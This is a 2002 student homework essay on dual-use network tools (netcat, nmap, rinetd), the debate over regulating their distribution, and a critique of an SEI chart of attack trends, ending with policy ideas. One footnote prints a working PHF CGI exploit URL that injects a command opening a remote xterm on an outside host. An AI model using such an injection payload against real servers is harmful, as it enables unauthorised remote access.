19-601, Spring 2002
Homework 2

Daniel M. Vogel

February 3, 2002

1 "Hacking" tools

During the course, an example of attack by "Hackers" was discussed. The following tools were mentioned or actually used in the example.

1.1 Potentials

i.e.: identify their capabilities and their potential beneficial and malicious uses.

netcat (`nc`) is a great tool, which *should* be as default a unix command as it was modelled to be. It provides a simple interface for dealing with network connections – receiving or transmitting. Functionality is similar to that of ubiquitous tools like telnet, except it is more useful (no character escaping, no STDIN/STDOUT additions, UDP, receive-mode). That it has the ability to portscan and network map... which at least netcat does in a manner which is detectable by the scanning target.

nmap (`nmap`) is a well-known *active* OS fingerprinting tool. *Jon Lasser* has written a pretty good column on the legitimate uses of active and passive OS fingerprinting (`http://www.securityfocus.com/columnists/57`). This utility implements techniques similar to netcat's port scanning. The positive benefits are that a machine can be remotely identified, and as a research device, it is interesting to see distinctions made between platforms based on implied or infered information. As a cracker tool it is useful for either identifying potential victims, or determining which forms of attack should be applied. As an active tool, however, it can be detected.

rinetd (`rinetd`) is a port redirector. It allows transparent connections from one (machine,port) pair to another. This is a useful feature in many routers and firewalls, because it can handle automated routing from a virtual network to the real one. It is also a useful cracker utility, in that it can act as a "mask" – one could netcat to a machine running `rinetd` and the connection would be forwarded to a different machine. This is identified as a bug on the rinetd page: "The server redirected to is not able to identify the host the client really came from". In a legitimate use, rinetd can be configured to log such connections, so that the server could contact the rinetd machine and the rinetd machine could determine where a particular connection came to them from.

1.2 Distribution

Do you think that the distribution of such tools should be free or regulated?

In the netcat readme, *Hobbit* acknowledges the illegitimate uses his tool could use, and summarizes a good attitude.

```
Example uses -- the dark side
==============================

Equal time is deserved here, since a versatile tool like this can be useful
to any Shade of Hat.  I could use my Victorinox to either fix your car or
disassemble it, right?  You can clearly use something like netcat to attack
```

```
or defend -- I don't try to govern anyone's social outlook, I just build tools.
Regardless of your intentions, you should still be aware of these threats to
your own systems.
```

Fundamentally, the question comes from the wrong direction. This is what numerous folks in the security world keep emphasizing: the tools are not coming from sources which can be regulated. I believe nuclear weapons should be regulated, because of their potential but also because of the resources required to properly construct and maintain them. But the tools are being written by folks who need them, and to regulate them is to make them remain underground.

Regulations would only be effective in causing legitimate users more hurdles to deal with in the joy of hacking (code hacking, not cracker behavior). This has been seen particularly in the cryptographic community, and it has also been seen to be completely ineffective.

2 "Hacking" trends

Examine the SEI 'Attack Sophistication vs Intruder Technical Knowledge diagram

2.1 Do you agree with its message?

At first glance, a general meaning is derived: "More sophisticated attacks, lower intruder knowledge". But after spending time with the diagram, I disagree with both the meaning and the method. I will summarize my conclusions by concentrating each plot independantly, and then consider the overall projection.

As labelled, the "Attack Sophistication" plot is misleading without better clarification. After some consideration, it appears to be trying to convey three discrete sources of information: a timeline of the emergence of various attacks, the "sophistication" of attacks, and the "sophistication" of tools (or popularity?). The timeline is fairly useful as a dataset[1] where accurate. However, this is discretely disconnected from a measure of either tool or attack sophistication – and none are linear growth.

For example, most of the (early) *www attacks* and their associated scripts (telnet-, netcat-based shell or perl scripts, if that complicated[2]) are *far* less sophisticated than even a packet spoofing tool or technique.

I would be interested to see the criteria by which the "Intruder Knowledge"/"Attackers" line is plotted. It seems a fairly arbitrary way to say "Attackers have to know less". Alternatively, it *could* be talking about the average intruder knowledge. This would be an interesting reflection on the dilution of the attacker ranks. I don't believe there is evidence that the peaks of knowledge has decreased; there is plenty that the *number* of attackers has increased. Regardless of 'script kiddie' stories, pure statistics would indicate that an increased population swelling around an average point will distribute in a gaussian distribution. We'd have a similar effect if we consider the growth of the Internet: accessibility, population, vulnerable targets, etc.

Indeed, I would argue that the greater trend is *not* discussed by this chart. The greater trend, from which similar conclusions as those indicated by the diagram may be drawn, is the growth of the computer networks. In 1980, the variety of machine "targets" were generally of an important nature: important enough to merit rigorous security teams. The exposures of the machine to the outside were limited for numerous reasons. Password guessing was possible (and necessary) because of this: dumpster diving et al was effective because the point of control and entry was obvious. As the machines networked, there were more points in (worms, etc). We've had a steady increase in vulnerability as the security concerns of edge nodes on the network has been diluted.

2.2 Policy level implication mitigation

What do you think it implies for the cyberthreat of critical infrastructures? Assuming that this diagram reflects the reality, at least to an extent, is there anything that could be done at the policy level to mitigate its implications for cybersecurity?

[1] Although many of the labelled points are vague beyond use (*burglaries*, *GUI*, *network mgmt. diagnostics*) or marked arbitrarily (if I recall correctly, the `PHF` CGI attack[2] was considered *old* by 1996 and probably is classified as a *www attack*)

[2] `PHF` was a very widespread CGI attack 1995-1997. The phf script came as a default installed cgi-bin with most of the popular webservers for quite a while. Abuse was often as simple as:
`http://www.some.com/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-display%20compromised.shell.org:3`

The conclusion I drew above was: *We've had a steady increase in vulnerability as the security concerns of the edge nodes of the network has been diluted.* And unfortunately, this is not something easily resolved by boosting end node security (though this must be done).

The most effective public policies would be to emphasize *accountability.* This includes egress filtering at all borders (so that packets are filtered for legitimacy by those in a position to do so). The problem with protecting a single position in a hostile environment is evidenced by the problems of Distributed Denial of Service attacks. DDoSes can be hard to distinguish from legitimate floods of interest, for public data – is it a webserver assault, or a link on slashdot.org?

Accountability would not reduce the immediate impacts of such an attack, but would provide a straightforward set of steps to reduce them. Coupled with other incentives for improvements, overall end-node security may be improved. Accountability will always have, and always should have, limits on a public network, but this is good.